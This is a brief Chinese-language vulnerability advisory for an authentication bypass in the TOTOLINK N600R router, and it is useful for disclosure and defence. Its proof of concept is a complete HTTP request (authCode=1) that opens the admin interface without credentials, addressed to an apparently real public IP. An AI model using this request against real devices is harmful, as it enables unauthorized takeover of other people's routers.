#### TOTOLINK\_N600R旁路绕过漏洞

#### 厂商

TOTOLINK

#### 影响设备

N600R

<http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36>

[固件下载](http://www.totolink.cn/data/upload/20210717/5367f1e24aceb55b684339be59df129d.zip)

#### 描述

TOTOLINK N600R存在旁路绕过漏洞，无需身份认证即可进入后台界面

#### 细节

在N600R的web程序lighttpd中访问formLoginAuth.htm传入authCode为1即可绕过密码直接进入后台



#### POC

GET /formLoginAuth.htm?authCode=1 HTTP/1.1  
Host: 14.199.103.239:8080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1

